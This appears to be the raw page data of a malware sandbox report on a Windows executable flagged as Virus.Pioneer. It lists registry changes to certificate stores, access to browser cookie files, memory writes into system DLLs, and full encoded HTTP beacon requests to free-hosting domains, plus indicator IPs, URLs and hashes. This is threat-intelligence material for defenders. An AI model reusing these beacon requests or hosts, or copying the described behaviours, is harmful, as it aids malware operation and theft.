24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 32:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Virus.Pioneer Sample 1d24d8268c2f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1d24d8268c2f…. Malware family: Virus.Pioneer. Threat score 100/100. 19/28 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46","keywords":["Malicious","Virus.Pioneer","malware analysis","sandbox report","threat intelligence","1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Virus.Pioneer","antivirusDetections":{"malicious":19,"total":28},"behavioralIndicators":{"malicious":9,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6ea,"igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")26:T429,"igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "igfxext.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "igfxext.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")27:T1513,"GET /bin/read_i.php?a1=PklmOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autozone.000space.com Connection: Keep-Alive Cache-Control: no-cache" "GET /bin/read_i.php?a1=PklmOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autozone.000space.com Connection: Keep-Alive Cache-Control: no-cache Cookie: parking_session=f3d32a32-f802-7a9b-968a-ba6a9e3a5a60" "GET /bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autoparts.phpnet.us Connection: Keep-Alive Cache-Control: no-cache" "GET /bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autoparts.phpnet.us Connection: Keep-Alive Cache-Control: no-cache Cookie: parking_session=999bbb5b-5189-192d-3101-cb27ae36736d" "GET /bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMg== HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autoparts.phpnet.us Connection: Keep-Alive Cache-Control: no-cache Cookie: parking_session=999bbb5b-5189-192d-3101-cb27ae36736d" "GET /bin/read_i.php?a1=PkloOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autonomy.host22.com Connection: Keep-Alive Cache-Control: no-cache" "GET /bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autoinsurance.000space.com Connection: Keep-Alive Cache-Control: no-cache" "GET /bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMg== HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autoinsurance.000space.com Connection: Keep-Alive Cache-Control: no-cache" "GET /bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0K HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: autoinsurance.000space.com Connection: Keep-Alive Cache-Control: no-cache"28:T4ff,The input sample is signed with a certificate issued by "CN=VeriSign Time Stamping Services CA, O="VeriSign Inc.", C=US" (SHA1: AD:A8:AA:A6:43:FF:7D:C3:8D:D4:0F:A4:C9:7A:D5:59:FF:48:46:DE; see report for more information) The input sample is signed with a certificate issued by "CN=Thawte Timestamping CA, OU=Thawte Certification, O=Thawte, L=Durbanville, ST=Western Cape, C=ZA" (SHA1: F4:6A:C0:C6:EF:BB:8C:6A:14:F5:5F:09:E2:D3:7D:F4:C0:DE:01:2D; see report for more information) The input sample is signed with a certificate issued by "OU=Class 3 Public Primary Certification Authority, O="VeriSign Inc.", C=US" (SHA1: 12:D4:87:2B:C3:EF:01:9E:7E:0B:6F:13:24:80:AE:29:DB:5B:1C:A3; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft Code Verification Root, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US" (SHA1: 58:45:53:89:CF:1D:0C:D6:A0:8E:3C:E2:16:F6:5A:DF:F7:A8:64:08; see report for more information) The input sample is signed with a certificate issued by "CN=VeriSign Class 3 Code Signing 2009-2 CA, OU=Terms of use at https://www.verisign.com/rpa c09, OU=VeriSign Trust Network, O="VeriSign Inc.", C=US" (SHA1: C0:D7:1B:4C:5A:1A:A1:F6:E2:C5:D9:BA:45:56:C8:56:63:F7:ED:27; see report for more information)29:T43e,".exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\3C4A9AB1.txt" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\B063I7JR.txt" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\XP41HVLQ.txt" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\AXKNNIKS.txt" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\W7BNPFGH.txt" "igfxext.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\EQUMH7O4.txt"2a:T594,Pattern match: "http://ocsp.verisign.com0" Pattern match: "http://crl.verisign.com/tss-ca.crl0" Pattern match: "crl.verisign.com/ThawteTimestampingCA.crl0" Pattern match: "https://www.verisign.com/rpa" Pattern match: "https://www.verisign.com/cps0*" Pattern match: "https://www.verisign.com/rpa0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://ocsp.verisign.com01" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0" Pattern match: "csc3-2009-2-crl.verisign.com/CSC3-2009-2.crl0D" Pattern match: "csc3-2009-2-aia.verisign.com/CSC3-2009-2.cer0" Pattern match: "www.flexicorp.jaring.my1" Pattern match: "http://www.digicert.com.my/cps.htm0" Pattern match: "http://cybertrust.omniroot.com/repository.cfm0" Pattern match: "www.public-trust.com/cgi-bin/CRL/2018/cdp.crl0" Heuristic match: "autozone.000space.com" Heuristic match: "autoparts.phpnet.us" Heuristic match: "autonomy.host22.com" Heuristic match: "autoinsurance.000space.com" Heuristic match: "auto24col.info" Pattern match: "C.JgU/0$" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0" Pattern match: "http://www.microsoft.com/windows0"2b:T434,"igfxext.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "igfxext.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES") "igfxext.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "igfxext.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "igfxext.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "igfxext.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "igfxext.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK")2c:T669,".exe" opened "C:\Windows\SysWOW64\nvTUICpl.cpl" with delete access ".exe" opened "C:\Windows\SysWOW64\nview.cpl" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPAR.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPCS.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPDA.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPDE.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPEL.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPENG.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPENU.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPES.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPESM.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPFI.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPFR.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPHE.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPHU.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPIT.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPJA.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPKO.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPLEN.hlp" with delete access ".exe" opened "C:\Windows\SysWOW64\NVWCPNL.hlp" with delete access2d:T7e6,"igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "igfxext.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")2e:T5f8,".exe" wrote bytes "711132027a3b3102ab8b02007f950200fc8c0200729602006cc805001ecd2e027d262e02" to virtual address "0x755007E4" (part of module "USER32.DLL") ".exe" wrote bytes "c0df7c771cf97b77ccf87b770d647d7700000000c011fc7600000000fc3efc7600000000e013fc76000000009457317525e07c77c6e07c7700000000bc6a307500000000cf31fc760000000093193175000000002c32fc7600000000" to virtual address "0x770E1000" (part of module "NSI.DLL") "igfxext.exe" wrote bytes "711132027a3b3102ab8b02007f950200fc8c0200729602006cc805001ecd2e027d262e02" to virtual address "0x755007E4" (part of module "USER32.DLL") "igfxext.exe" wrote bytes "60138f73" to virtual address "0x736C4028" (part of module "WEBIO.DLL") "igfxext.exe" wrote bytes "7d07807781ed7e77ae867d77c6e07c77effd7f772d167e7760148077478d7d77a8e27c7760897d7700000000ad3729778b2d2977b641297700000000" to virtual address "0x73BA1000" (part of module "WSHTCPIP.DLL") "igfxext.exe" wrote bytes "60138f73" to virtual address "0x765EE324" (part of module "WININET.DLL") "igfxext.exe" wrote bytes "0efc7f7781ed7e77ae867d77c6e07c77effd7f772d167e77c0fc7b77da8f867760148077478d7d77a8e27c7760897d7700000000ad3729778b2d2977b641297700000000" to virtual address "0x73BB1000" (part of module "WSHIP6.DLL") "igfxext.exe" wrote bytes "c0df7c771cf97b77ccf87b770d647d7700000000c011fc7600000000fc3efc7600000000e013fc76000000009457317525e07c77c6e07c7700000000bc6a307500000000cf31fc760000000093193175000000002c32fc7600000000" to virtual address "0x770E1000" (part of module "NSI.DLL")2f:T50e,Found malicious artifacts related to "185.27.134.93": ... URL: https://kfu62eb.byethost13.com/e3572 (AV positives: 1/93 scanned on 01/24/2022 23:07:39) URL: http://lasdcrew.ezyro.com/ (AV positives: 1/93 scanned on 01/22/2022 03:28:17) URL: http://caso1eb1118347493.atsnx.com/ (AV positives: 13/93 scanned on 01/21/2022 08:15:10) URL: http://caso1eb1118347493.atsnx.com/?i=1 (AV positives: 14/93 scanned on 01/21/2022 06:07:21) URL: https://caso1eb1118347493.atsnx.com/ (AV positives: 13/93 scanned on 01/21/2022 05:40:07) File SHA256: f57f2cade7962f2da565b89aef71efcc2c90e3bf8a9ec8f396192765cb8b985c (AV positives: 18/75 scanned on 11/02/2021 01:38:54) File SHA256: 8bec8b6df072cfc690e06acd0d9326cc6385eaef7cf64857608fecaa0420525e (AV positives: 18/74 scanned on 10/08/2021 23:21:52) File SHA256: ea8351b11c5659ad50815844e9a163ff83af86e9de9c6a8d72ba87e8fa4c7fcb (AV positives: 16/73 scanned on 09/30/2021 20:12:40) File SHA256: 34a8e8d4cc0ec1c1cf23d86861e8148fe55a3b3a664a239a4a89a785dd5b242b (AV positives: 17/73 scanned on 09/22/2021 18:10:54) File SHA256: 16ce845440c38f491f80553aee7a8144dcc0a82c46258deaffdd10a0fa3d2db2 (AV positives: 1/72 scanned on 09/17/2021 09:05:34) File SHA256: 136c2aa32a10c5783c0531e55eae7b58a1aa241a697f684c2acecdde47c7ff3f (Date: 09/10/2019 00:29:59)30:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9